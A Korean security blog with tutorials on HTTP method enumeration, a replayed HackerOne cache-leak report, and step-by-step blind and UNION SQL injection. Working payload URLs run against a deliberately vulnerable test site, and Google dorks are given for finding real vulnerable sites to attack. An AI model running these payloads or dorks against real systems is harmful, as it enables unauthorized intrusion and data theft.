2017. 11. 20.

[웹 취약점] http method 확인하기 with metasploit, Curl, Nikto, Nmap, Netcat

프록시 도구를 이용하여 서버에 OPTIONS 메소드를 전달하면 지원하는 메소드를 확인 할 수 있다. 그런데 간혹 버프 OPTIONS 메소드로는 확인되지 않는데 response 헤더값에 allowed method 라고 표시되는 경우가 있다.
때문에 보다 더 정확하게 Supported Method를 확인 할 필요가 있었다.
이를 위해 다양한 툴을 이용한 메소드 확인 방법이 있다.

1. nmap nse(nmap script engine) 

nmap --script http-methods --script-args http-method.test-all='/192.168.1.43' 192.168.1.43
위 명령어를 사용하면 허용된 메소드 뿐만 아니라 잠재 위험이 존재하는 메소드도 나열된다.


2. Metasploit

msf > use auxiliary/scanner/http/options
msf auxiliary(options) >set rhosts 192.168.1.43
msf auxiliary(options) >set rport 80
msf auxiliary(options) >exploit

3. Curl

curl -v -X OPTIONS 192.168.1.43

4. Nikto

nikto -h 192.168.1.43


5. Netcat

nc 192.168.1.43 80


6. telnet

telnet 192.168.x.x 80

OPTIONS / HTTP/1.1

# 내용 덧붙이기 - 자주 쓰는 nmap 기본 명령어

1. 단일 호스트 스캔하기

  • nmap target.com
  • nmap 10.1.24.11

좀더 자세한 정보를 얻고 얻으려면 -v 를 추가한다
nmap -v target.com

2. 다수의 호스트 스캔하기

  • nmap 10.1.0.0/16
  • nmap scanme.nmap.org/24

cidr 스타일은 간단하지만 유연성이 떨어진다. 예를 들어, 10.1.0.0/24를 스캔하고 싶지만 특수용도 주소인 .0 이나 .255를 제외하고 싶다면 cidr 스타일만으로 힘들다.

이런 경우 때문에 nmap에는 ip 주소의 범위를 지정 할 수 있는 옵션이 있다.
  • nmap 10.1.0.4-5,7.1
  • nmap scanme.nmap.org 10.1.0.0/24 172.16.0.1,3-7

3. 특정 포트만 스캔하기

 - 80번 포트 수행

  • nmap -p80 10.6.9.1

4. 원격지의 운영체제 알아내기
  • nmap -O 10.6.0.1
  • nmap -O -osscan-guest 172.16.9.1
  • nmap -v -O -osscan-guess 172.16.9.1

보통 nmap -v -sS -P0 -O xxx.xxx.xxx.xxx, nmap -v -sV -P0 test.co.kr 등을 사용한다.

# 참고
  • https://null-byte.wonderhowto.com/how-to/hack-like-pro-using-nmap-scripting-engine-nse-for-reconnaissance-0158681/
  • http://www.hahwul.com/2016/03/hacking-nmap-part2-nsenmap-script.html

Continue reading

2017. 11. 15.

[웹 취약점] 미리보기 캐시를 이용하는 검색 위젯기능을 통해 비공개 트윗 내용을 확인 할 수 있었던 취약점

해커원 사이트에서 유심히 보았던 취약점이다. (https://hackerone.com/reports/263760)
request 헤더에 Accept-Encoding: gzip, deflate, br 를 추가하여 서버에 인코딩 요청을 하면, 캐쉬된 데이터가 포함된 결과를 반환한다. 그러면 캐쉬에 들어가 있던 삭제된 트윗, 공개였다가 현재는 비공개된 트윗을 확인 할 수 있다는 것이다.

# Original Request:
GET /widgets/timelines/preview?all_results=on&callback=__twttr.callbacks.tl_i<some number>_preview_old&do_not_track=false&expand_media=false&height=350&lang=en&query=countblank&safe_mode=on&suppress_response_codes=true&theme=light&timeline_type=search HTTP/1.1
Host: █████
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
Accept: /
Referer: https://twitter.com/settings/widgets/new
Accept-Language: en-US,en;q=0.8
Cookie: lang=en

# New Request (Make sure to change to twttr.callbacks.tl_i73_preview_old since this cache has not been overwritten by correct data):
GET /widgets/timelines/preview?all_results=on&callback=██████ HTTP/1.1
Host: ███
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
Accept: /
Referer: https://twitter.com/settings/widgets/new
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
Cookie: lang=en

# Response value
HTTP/1.1 200 OK
...
Content-Length: 10556 (보통보다는 많은 데이터 반환)


공개된 트윗만이 아닌 더 여러개의 비공개 프로필 트윗을 볼 수 있다. i73을 1i 에서 i100으로 바꿔가면서 테스트 해 볼 수 있다.


# Accept-Encoding: gzip, deflate 는?
이는 브라우저가 gzip 과 deflate 인코딩(압축 알고리즘)을 이해하므로 웹 서버가 http response 메시지를 이들 알고리즘 중 하나로 압축해서 보내도 된다는 것을 서버에게 알려 주는 것이다.

웹 서버는 Accept-Encoding 의 값을 살펴보고 필요에 따라서 HTTP Response (HTML, CSS, 이미지 등의 결과물)를 압축할 수 있다. 웹 서버가 HTTP Response 를 압축했다면 서버는 결과가 어떤 알고리즘에 의해 인코딩(압축)되었는가를 Content-Encoding 헤더를 통해 명시한다. 다음은 http://www.google.co.kr 에서 반환한 HTTP Response 헤더의 내용이다.

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Content-Encoding: gzip
Server: GWS/2.1
Content-Length: 1865
Date: Thu, 14 Jul 2005 14:21:24 GMT
(구글은 Content-Encoding 헤더 값에 gzip 에 명시하여, 컨텐츠가 gzip 알고리즘에 의해 압축되었음을 브라우저에게 알리고 있다.)



Continue reading

2017. 11. 13.

모의해킹 및 정보보안 기술 역량 향상을 위한 사이트

kali tutorials 에서 Top 5 Websites to Master Hacking With Kali Linux : For Beginners 라는 제목으로 소개된 5개의 사이트

Null Byte

  • https://null-byte.wonderhowto.com/
장점 : 양질의 컨텐츠 / 다양한 저자

hacking-tutorial

  • http://www.hacking-tutorial.com


hacking tutorials

  • http://www.hackingtutorials.org/


black more ops

  • https://www.blackmoreops.com/


security tube

  • http://www.securitytube.net/


kali tutorials

  • http://www.kalitutorials.net

Continue reading

[웹 취약점] blind injection

** 본 포스트는 원문(http://www.kalitutorials.net/2015/02/blind-sql-injection.html) 마음 대로 의역하며 덧붙인 내용입니다. 감안하시기 바랍니다.

블라인드 SQL Injection 은 get 방식 뿐만 아니라 post 방식에서도 확인 할 수 있다. 중요한것은 웹 뷰 페이지에서 보여지는 것 뿐 아니라, HTTP response body에서 확인되는 메시지로도 참과 응답이 분리될 수 있으므로 다방면에서 확인 해야 한다.

# 테스트 사이트 - http://testphp.vulnweb.com/listproducts.php?cat=2

고전 SQL 인젝션 취약점을 발견하기 위해 * 이나 ' 와 같은 특수문자를 파라미터 값에 입력하고 에러페이지가 출력되는지 확인한다. 에러가 출력되지 않을 때 blind 인젝션 공격을 수행할 수 있다. (그러나 실제로 위 url 에 ' 을 입력해보면 알겠지만 고전 sql 공격에 취약하긴 하다. 에러정보가 노출됨) 그러나 에러가 없다고 가정하고 바인드 인젝션 공격을 준비해보도록 하자.

문제에 직면 할 것이다. 공격 사이트가 어떠한 에러도 반환하지 않는데 이 사이트가 취약한지 아닌지 어떻게 알 수 있는가. 해답은 아주 명쾌하다. 부울린 대수학을 이용하는 것이다.

부울린의 원리은 다음과 같다

  • true and true = 참
  • true and false = 거짓

즉,

  • 1=1 는 참
  • 1=2 는 거짓이다.


  • http://testphp.vulnweb.com/listproducts.php?cat=2 and 1=1 (참)
  • http://testphp.vulnweb.com/listproducts.php?cat=2 and 1=2 (거짓)


URL이 bind 인젝션에 취약한지 아닌지 확인하는 방법은 아래와 같이 참과 거짓으로 나누어서 입력해보고 올바르게 응답되는지 아니면 무시되는지 확인하는 것이다.

http://testphp.vulnweb.com/listproducts.php?cat=2 and 1=1 일 때,



http://testphp.vulnweb.com/listproducts.php?cat=2 and 1=2 일 때,


(참고로 TIME BASED 인젝션은 발생하지 않는다. )
위를 보아 알 수 있는 중요한 사실은, 위 URL 이 DBMS에 의해 수행된다는 것이다. (보통 MySQL) 즉, cat=1 인 값을 DB 테이블에서 검색한다는 의미이다.


# Blind 인젝션 공격으로 데이터 수집하기


1) 버전 찾기
시스템의 정확한 버전을 알아내는 것은 쉽지 않다. 그러나 완벽하게 알필요는 없고 그저 MySQL 버전 4, 5 정도면 충분하다.

우선 버전으로부터 substring을 추출한다. 이 경우에는 substr(@@version,1,1) 에 의해 수행된다. @@version 은 전체 5.1.6.9...... 같은거를 반환하지만 1,1 은 첫번째 문자를 추출한다. 그러면 우리는 웹 사이트에서 사용하고 있는 버전을 찾기 위해 그것을 4나 5와 동일시할 수있다(equate)

위에 이미지에서 확인했듯이 우리는 MySQL 버전을 알고 있다. 그러나 버전에 관한 어느 단서가 존재하지 않더라도 다음과 같이 output을 살펴봄으로써 버전을 찾을 수 있을 것이다.
추가적인 mysql substring 구문은 다음 url 에서 확인 할 수 있다. (여기에 잘 설명되어 있다. - http://www.mysqltutorial.org/mysql-substring.aspx)

이러한 substring 명령어로 다음과 같이 활용 할 수 있다. 즉, 버전이 4로 시작하는지, 5로 시작하는지 확인하는 것이다. '참' 이라면 정상페이지가 출력한다. http://testphp.vulnweb.com/listproducts.php?cat=2 and substring(@@version,1,1)=4


http://testphp.vulnweb.com/listproducts.php?cat=2 and substring(@@version,1,1)=5
공백페이지가 리턴되지 않았으므로 MySQL 버전 5라는 것을 확인 할 수 있다.


# 테이블, 컬럼, 레코드 찾기


이제는 테이블 명을 찾을 차례이다. 한 가지 원리를 이용하여 하나씩 하나씩 테이블을 찾아가면 된다. 대부분의 데이터베이스는 user, admin, login, employees  등 과 같은 이름의 테이블을 가지고 있다. 지금부터 실패와 성공을 통해 입증해 볼 것이다.

여기는 몇 가지 방법이 있다. 우리는 문자순서(character by character) 대로 진행 할수 있다. 아스키 코드들를 사용하는 세번째 방법이 있다.

문제 : 웹사이트가 아웃풋을 노출하지 않는 상황에서, 어떻게 테이블 명을 얻을 수 있는가
해결 : 지금까지 한 방식과 동일하다. 웹사이트가 table name =x 를 요청하면, 여기서 x는 테이블 네임이라고 추측할 수 있다. 여기서 반환되는 상태가 true 일 때까지 계속 반복할 수 있다. 즉, 존재 할거라고 예상되는 테이블명을 반복적으로 대입하는 것이다.

문제 : 이건 단지 구상이다. 어떻게 action을 넣는가. 그러니까 user와 같은 가능성 높은 테이블 명의 존재여부를 확인 한다고 할때, 어떻게 데이터베이스가 참(true) 값을 반환하도록 질의 해야 하는가? 이건 1=1 과 처럼 간단하지는 않을 것이다.
해결 : select 쿼리를 사용할 것이다. select 1 from X 가 기본적인 쿼리이다. 여기서는 상태(Condition)을 생산하기 위해 이 출력을 사용할 것이다. (select 1 from X) =1 X 테이블이 존재하면, 아웃풋은 1이 될 것이고, 1=1 이기 때문에, 상태는 참이 될 것이다. 만약에 X가 존재하지 않으면, 상태는 false가 되어 화면이 올바르게 출력되지 않을 것이다.

문제 : 만약 테이블명을 추측하지 못한다면 어떻게 되는가
해결 : 이럴때 두 가지 대안을 사용 할 수 있다. 첫번째는 버전을 찾을 때처럼 substr()을 사용하는 것이다. 문자 순서대로 하나씩 확인하면서 테이블을 명을 찾 수 있다. 우리는 테이블의 첫번재 문자가 a 인지 확인하고 이후, b,c,d 등등 계속 시도하는 것이다. 첫 번째 문자를 찾고, 이후 두번째 문자도 역시 하나씩 시도해보며 찾는다. 시간이 다소 걸리지만 테이블 명을 찾는 가장 확실한 방법 중 하나이다.

두번째 대안은 아스키 값을 이용하는 것이다. 속도가 위 방법보다 비교적 빠르다.
원리는 다음과 같다. 숫자와는 다르게 문자는 직접적으로 비교연산자에 의해서 비교되지 않는다. 6은 5보다 크다고 할 수 있지만, b는 a보다 크다고 할 수 없다. 문자는 비교 할 수 없다. 그러나 아스키 형태에서는 비교가 가능하다. 각각의 알파벳은 아스키에서 숫자로 대응된다. 따라서 테이블명의 첫번째 문자가 알파벳 P보다 큰지 작은지 요청 할 수 있다. 더 크다고 하면, P 이하의 알파벳은 확인하지 않아도 되는 것이다. 이 후 계속 >, <, = 와 같은 비교 연산자로 테이블 명을 찾을 수 있다.

<출처 - http://shaeod.tistory.com/228>


limit 문 : select 쿼리는 그저 첫번째만이 아니라, 주어진 테이블으로부터의 모든 결과를 반환한다는 것을 알아야 한다. 예를 들어, 어떤 테이블에 500개의 레코드가 있다. 그리고 해당 테이블에 첫번째 테이블의 문자가 'a' 인 레코드를 요구하면, 이는 한개만 반환하는게 아닐것이다. 첫 문자가 'a'인 모든 레코드를 반환 할 것이다. 이는 우리가 원하는 결과가 아니다. 이를 막기 위해, 우리는 limit 문을 활용해야 한다. 

여기 간단한 요약글이 있다. 읽어보기 바란다.
  • Complete section on Limit clause here - http://www.mysqltutorial.org/mysql-limit.aspx
SELECT * FROM tbi LIMIT offset, count  SELECT * FROM tbi LIMIT 0,3  (출력 결과에서 첫번째 행부터 세번째 행결과만을 출력하기)
  • 'offset' 은 리턴되는 첫번째 줄의 오프셋을 명시한다. 첫 번째 열의 오프셋은 1이 아니라 0이다.
  • 'count'는 리턴되는 줄의 최대 값을 명시한다.

1) 테이블명

테이블명을 추측해보자.
http://testphp.vulnweb.com/listproducts.php?cat=1 and (SELECT 1 from admin)=1
// admin 이라는 테이블이 존재하면, 페이지가 출력될 것인다. 실행 결과, admin이 존재하지 않는 것을 확인한 것 뿐 아니라, acuart 라는 db 명까지 알수 있었다.

여기서 SELECT 1 from admin 와 같이 select 1 을 사용하면 해당 테이블의 행의 수가 n개이면 n개 행이 반환된다. 여기서 1은 참을 의미한다.


실제 블라인드 SQLi 에서는 에러메시지가 보이지 않는다. 이전 처럼 정상적으로 결과가 출력되지 않고 공백 화면이 출력될 것이다.

* full name 으로 추측하기

이번에는 users 라는 테이블명이 있는지 확인해보자
http://testphp.vulnweb.com/listproducts.php?cat=1 and (SELECT 1 from users)=1

페이지가 정상적으로 로드되는 것으로 보아 users 테이블이 존재하는 것을 확인했다.

** 문자 하나씩 추측하기 
다른 사이트에 이러한 공격을 시도하면, users 가 확실한지 아닌지 판단할 수 없을 것이다.
그래서 계속 읽고 하나씩 한 문자씩 추측하는 방법으로 시도해보는 것을 추천한다(컬럼명 찾을때). 그리고 아스키 코드를 사용하는 것이다.(데이터 찾을때)
PS. 여기서는 우리는 한문자씩 하는게 아니라 한번에 풀 테이블 네임(admin, users 등)으로 질의하기 때문에  여기서는 LIMIT 문이 요구되지 않는다.


>> 확인된 table 은 artists, carts, categ, featured, guestbook, pictures, products, users이다.


2) 컬럼 명

1. 전체 이름 추측하기
지금, 컬럼명을 얻을 수 있는 두 가지 방법이 있다. 첫 번째는 테이블 명 할 때처럼, 전체 컬럼명을 추측하는 것이다.

http://testphp.vulnweb.com/listproducts.php?cat=2 and (SELECT substring(concat(1,username),1,1) from users limit 0,1)=1

아래 처럼 1을 2로 바꿔서 입력해봐도 결과는 동일하다.
http://testphp.vulnweb.com/listproducts.php?cat=2 and (SELECT substring(concat(2,username),1,1) from users limit 0,1)=2

여기서 concat 함수가 나온다. select concat (name, agency) from groups;  라고 하면
name가 agency 값이 붙여져서 값이 출력된다. 즉, 위와 같이 concat(1,uname),1,1) 이라고 하면 결국 uname 이 존재하면 에러가 출력하지 않고 결과가 출력될텐데 그 결과 앞에 1이 붙어서 출력하는 것이다. 그러나 1,1 을 통해 1뒤에 문자는 다 짤리고 1만 출력하는 것이다.
아래 이미지를 보면 조금 이해가 편할듯하다.


그러니까 하나씩 껍질을 벗겨보면 다음과 같다

  • and (SELECT substring(concat(1,uname),1,1) from users limit 0,1)=1
  • and (SELECT substring(1test,1,1) from users limit 0,1)=1
  • and (SELECT 1 from users limit 0,1)=1
  • and (1)=1



http://testphp.vulnweb.com/listproducts.php?cat=2 and (SELECT substring(concat(1,uname),1,1) from users limit 0,1)=1
//user 라는 테이블이 있고 uname 컬럼이 존재하는지 아닌지 확인하기 위함이다. uname이 없으면 오류가 발생하고 존재하면 참이 되어 정상페이지가 출력된다.



uname 일 때는 페이지가 정상적으로 출력된다. uname 컬럼이 존재하는 것을 확인 할 수 있다. 연습 삼아, uname 외에 pass, cc, address, email, name, phone, cart1  등 을 입력해 볼 수도 있다.

2. = 를 사용하여 문자 하나씩 추측하기  

두 번째 방법은 문자 하나 하나씩 입력해 보는 것이다. 이 역시 2 가지 방법이 있다. 하나는 직접적으로 문자를 하나씩 추측하는 것이고, 다른 하나는 문자의 범위를 확인하면서 문자열을 확인하는 것이다. 두 가지 방법을 모두 이용 할 것이다.
이 방법은 information_schema 를 이용하기 때문에 MySQL 4에서는 안되고 5에서만 작동할 것이다. (information_schema 는 서버에 속한 데이터베이스의 테이블명, 칼럼명, 등 SQL 인젝션하는데 필요한 정보들을 담고 있다. MySQL 5에서 생성된다.)

(위 이미지에서 COLUMNS 과 TABLES은 모든 테이블과 컬럼들의 정보를 가지고 있는 테이블이다.

tables

아래에서는 117(u)을 사용했다. 아마 모든 가능한 아스키 코드를 시도해야 할 것이다. (65 ~122 for A to z)

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))= 117


우선 concat의 인자로 column_name 을 넣은것은 information_schema 데이터베이스에 COLUMNS 라는 테이블이 있고, COLUMNS 테이블 안에 COLUMN_NAME 이라는 컬럼이 있기때문에 이를 인용한 것이다. information_schema db 정보가 일종의 '알려진 구조' 이기 때문에 이를 이용한 것이라고 할 수 있다.
이것 역시 껍질을 벗기며 분석해보자.

  • and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))= 117
  • and ascii(substring((select column_name from information_schema.columns where table_name=users+limit 0,1),1,1))= 117
  • and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))= 117



MySQL이 저절로 문자에서 아스키 값으로 변환되는지 확인하였다. 그리고 그렇게 되는 것을 확인하였다. 하나는 쿼리를 걷어내고, 마침내 되었다. (so one may skim the query a bit and finally it will be like. 그래서 기본적으로 내가 전에 말한것에 반해서, b 는 a 보다 크다. 아래는 117 대신에 u를 넣었다. 결과적으로 같은 코드이다.

http://testphp.vulnweb.com/listproducts.php?cat=2%20and%20substring((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273+limit%200,1),1,1)='u'

117은 아스키코드 u 이다.  우리는 컬럼명이 uname 인것을 알고 있다. 그래서 페이지는 정상적으로 출력될 것이다. 또한 85외에 다른 값을 시도하고 어떤 결과가 발생하는지 볼 수도 있다. 또한, 7573657273 은 users 의 헥사코드이다. 0x는 헥사 값을 가르킨다.

3. = 와 > 또는 < 를 사용한 문자 추측

이는 이전에 한 것과 거의 같다.
http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 100

페이지가 이상없이 출력되는것으로 보아 이것은 100보다 크다 http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 120 페이지가 출력되지 않는것으로 보아 120보다 작다.

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 110

110 보다 크다 http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))> 115

115보다 크다. 지금 5가지 가능성이 남았다. 116, 117, 118, 119 120 ( 116보다는 크고 120보다는 작다. 5개를 각각 시도 할 수 있다. 위에 쿼리를 보면 ascii 부분에 굵게 볼드 처리를 했다. 이 텍스트를 지우고 싱글쿼터로 감싸져 있는 캐릭터로 대체 할 수도 있다. ('a','b' 등) 마지막으로 다음 코드를 통해 성공 할 수 있을 것이다.

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),1,1))= 117

그러나, 우리는 단지 컬럼명의 첫번째 문자만 알고 있는 것이다. 두번 째 문자를 찾기 위해 빨간 색 부분을 2로 바꿔서 수행한다.

http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),2,1))= 117

uname의 두번째 문자는 n(ascii 110) 이기 때문에 화면이 출력되지 않는다. http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((select concat(column_name) from information_schema.columns where table_name=0x7573657273+limit 0,1),2,1))= 110

><= 방법을 사용할 수 있다. 나머지 자릿수도 이와 같이 진행 할 수 있다. 데이터 추출 지금까지는 굉장히 빠르게 진행했었지만 여기만큼은 굉장히 천천히 진행해볼것 이다. 당신은 데이터를 추측해야 한다. 각각이건 전체 이름이건 추측해야한다.

 http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>64  http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>100 http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>120 120에서는 페이지가 보여지지 않는다 (다 안보이는데?) http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>120 http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>115 http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))=116

그래서 첫번째 문자는 t이다. 다음 문자를 시도해보자. 이번에는 아스키를 사용하지 않는다. http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1)>'a' http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1)>'f'

이것은 b와 f 사이에 있다 http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1) = 'b'

계속 해보자 http://testphp.vulnweb.com/listproducts.php?cat=2 and substring((SELECT concat(uname) from users limit 0,1),2,1) = 'e' 두번재 문자는 e 이다.

전체 uname 을 찾기 위해 이 절차를 계속 반복해야 한다. 그리고 특정 문자가 마지막 문자라는 것은 다음 명령어를 통해 확인 할 수 있다. http://testphp.vulnweb.com/listproducts.php?cat=2 and ascii(substring((SELECT concat(uname) from uname limit 0,1),1,1))>0 어떤 문자도 남아있지 않다면 >0 은 항상 참을 반환한다. 이 모든 것들이 블라인으 인젝션이다.

다음 포스팅에는 이러한 작업들을 수행하는 도구들에 대해 소개하려고 한다. 솔직히 말해서 아무도 당신이 블라인드 인젝션을 위해 스크립트나 툴을 쓴다고해서 서 초보라고 부르지 않을 것이다. 이것은 굉장히 시간을 많이 소비하는 작업이기 때문이다.

 # 참고
  • http://www.kalitutorials.net/2015/02/blind-sql-injection.html
  • TIME BASED SQL INJECTION - http://www.sqlinjection.net/time-based/
  • http://www.hackerschool.org/HS_Boards/data/Lib_share/The_basic_of_Blind_SQL_Injection_PRIDE.pdf
substring 명령어 구문
substring() 과 substr() 은 동일한 명령어다. 이는 주어진 문자열의 특정 포지션의 문자를 반환한다.

  • substr([문자열], [시작인덱스],[길이])
  • substr([문자열], [시작문자 index]) 등등

EX) SELECT SUBSTRING('MySQL SUBSTRING', 1,5); >> MySQL

Continue reading

2017. 11. 12.

[웹 취약점] SQL Injection 수동 공격 -1 (mysql)

# 취약 웹 사이트 찾기

첫 번째 순서는 당연히 공격 할 웹사이트를 찾는 것이다. 많은 방법이 있겠지만 dorks 를 이용 하는 것이다.

1) dorks

dorks 는 구글 검색 엔진에 입력하는 쿼리문이다. 이 쿼리 문이 포함되어 있는 웹 사이트를 찾기위해 사용된다. 
상세한 정의는 "Advanced Google searches used to find security loopholes on websites and allow hackers to break into or disrupt the site" 라고 한다. (from 1337mir)

  • 2017 dork list - https://hackingvision.com/2017/04/14/google-dorks-list-2017-sqli/

요즘은 기본적으로, dork 이 하는 것은 google의 "inurl" 을 통해 특정 취약한 url 을 반환하는 것이다. 'inurl' 명령어는 검색어가 포함된 URL 및 웹 문서를 찾아준다. 'inurl:검색어1 검색어2'와 같은 방식이다. 
아래 에 몇몇의 dorks 가 있다.

inurl:"products.php?prodID="
inurl:buy.php?category=
("" 를 사용하면, 쌍따옴표 안의 문자열을 하나로 인식하여 더 정확하게 검색이 된다.)
많은 검색어가 도출되긴하지만 대부분은 취약하지 않을 것이다. 

# 검색 결과에서 취약 여부 판별하기
매우 간단하다. www.site.com/products.php?prodID=25 에서 25 대신에 '를 입력해 보는 것이다. 취약하다면 NOT FOUND, Table, Database, Row, Column, Sql, Mysql  등 데이터베이스와 관련된 에러페이지가 노출된다. 어떤 것은 에러페이지는 나오지 않지만 페이지가 비정상적으로 출력되는 경우도 있다.

취약 url 을 발견하였으면. 컬럼과 줄 넘버를 찾아야 한다. 

# 컬럼 / 줄 넘버 찾기
테이블에서 컬럼 개수를 찾아야 한다. 그러기 위해서, 테스트와 에러 메소드가 필요하다. 그리고 계속 컬럼 수를 증가시키면서 에러 메시지가 확인 될 때 까지 구문을 실행해 본다. 

www.site.com/products.php?prodID=25+order+by+1

효과적으로,  order by 1 을 기존 url 뒤에 추가시킨다. 만약 테이블에 컬럼이 1개 밖에 없다면, 페이지가 정상적으로 출력될 것이다. 그러나 그게 아니라면, 에러가 출력될 것이다. 에러가 노출되는 한 계속 컬럼 수를 늘려가면서 점검 할 수 있다. 
다음의 페이지에서도 에러가 나온다고 가정해보자 
www.site.com/products.php?prodID=25+order+by+6

그 말은 해당 페이지(테이블?) 에는 5개의 컬럼이 있으며, 데이터베이스는 6 으로 요청한 쿼리를 처리할 수 없다는 의미이다. 즉 다음 2가지 사실을 확인 할 수 있다.

  • 사이트는 SQL 인젝션에 취약하다.
  • 5개의 컬럼을 가지고 있다.
이제는 어떤 컬럼이 취약한지 알아야 한다.

# 취약한 컬럼 찾기
우리는 가상의 www.site.com 사이트를 운영하고 있고, 여기에는 5개의 컬럼이 있고 추정해보자. 이제 이 중 어떤 컬럼이 취약한지 알아보도록 한다. 취약한 컬럼을 이 있음으로서, URL를 통해 커맨드/쿼리를 SQL 데이터베이스에 전달하는 것이다. 
본격적으로 찾아보기 위해, 다음의 URL 을 입력한다. 

www.site.com/products.php?prodID=25+union+select+1,2,3,4,5

몇몇 케이스에는 25뒤에 - (그러니까 25가 아니라 -25로 진행하라는 말)를 넣어야 할 수도 있다. 어딘가에서 보여지는 숫자를 제외하고 정상적으로 로드될 것이다. 이것이 취약한 컬럼들이다. 적어 두어야 한다. 

만약 페이지를 리프레쉬 하고 2가 페이지에 표시된다면, 2는 인젝션 공격을 수행 할 취약한 컬럼이다. 



http://testphp.vulnweb.com/listproducts.php?cat=1' 파라미터에 홑따옴표 (') 를 입력하면 에러가 출력된다. 이로서 해당 URL 이 SQLI 공격에 취약한 것을 확인되었다. 이제 컬럼수를 확인 해야 한다.

10, 11에서는 문제없다가 12 컬럼에서 에러가 발생한다. 즉, 전체 컬럼 갯수가 11개라는 것이다. 이제 취약한 컬럼을 찾기 위해 다음의 URL 을 입력한다. 

http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,7,8,9,10,11
(union all 을 이용한 다른 방법
http://testphp.vulnweb.com/listproducts.php?cat=1%20AND%201=1%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL#

// 11개의 NULL 패턴 삽입 시 에러가 발생하지 않기 때문에 해당 테이블 필드는 11개로 짐작할 수 있다.

에러 페이지가 출력되지 않는다. 이전에 말한 것처럼 cat= 이후에 마이너스 기호(-)를 추가시키고 다시 실행해본다. (FALSE 를 유발하기 위함이기 때문에 cat =1 and 1=0 으로 해도 결과는 동일하다. )
(11,7,2,9 숫자가 노출 되는 것을 확인 할 수 있다. 어렵지 않게 발견 할 수 있다. 이것이 취약한 컬럼이다)


숫자가 노출되는 칼럼의 자리에 user() 라는 함수를 입력해보면 위와 같은 결과를 확인 할 수 있다.


위에서 다시 마이너스를 빼고 시도해보고 스크롤을 내려보면 아래와 같이 발견된다.


이를 비교해보면 숫자 11만이 에러페이지에서 나오는 컬럼이며, 이 컬럼이 취약한 컬럼이라고 결론지을 수 있다. 이러한 추론은 해킹을 아주 흥미롭게 만든다.
이제 우리는 SQL 버전을 알아야 한다. 이건 때때로 굉장히 어렵다. 그러나 이번에는 아니길 희망한다. 

취약한 컬럼이 11이기 때문에 11 대신에 @@version 을 입력하여 아래와 같이 url 입력한다.

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,@@version

(
아래 구문으로도 버전정보를 확인 할 수 있다.
http://testphp.vulnweb.com/listproducts.php?cat=1%20and%20ExtractValue(1,version())

서버는 SQL 버전 5.1.73 버전을 사용하고 있다. 대부분이 MySQL 일 것이다. 또한 OS 역시 우분투인 것을 확인 할 수 있다.
이는 때때로 아주 곤욕스러운 일일 수도 있다. 가끔 @@version 커맨드가 안먹힐 때도 있는데 그럴때는 @@version 대신 convert(@@version using latin1) 또는 unhex(hex(@@version)) 을 입력해야 한다.

이제 정보수집 단계는 끝이 났다. 이제 실제 테이블을 다운로드 할 차례이다. 데이터베이스, 테이블, 서버 등 지금까지 얻은 정보를 적어놓는다. 지금까지 튜토리얼을 잘 따라왔다면, 분명 성취감을 느꼈을 것이다.

SQL 데이터베이스로부터 테이블 추출하기

DB로부터 데이터 추출하는 것은 버전에 따라 달라진다. 다행히 5버전이 다소 쉽다. 테이블에 관한 모든 데이터는 정보 스키마에 나타난다. 이것이 우리가 처음으로 볼 것이다. 우리가 취약한 쿼리를 찾을때 사용했던 쿼리에서(testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,11) 취약한 컬럼에서 테이블 명으로 대체하고 from+information_schema.tables를 덧 붙일 것이다. url 은 다음과 같다.


(위 이미지와 같이 쿼리를 사용하는것..)

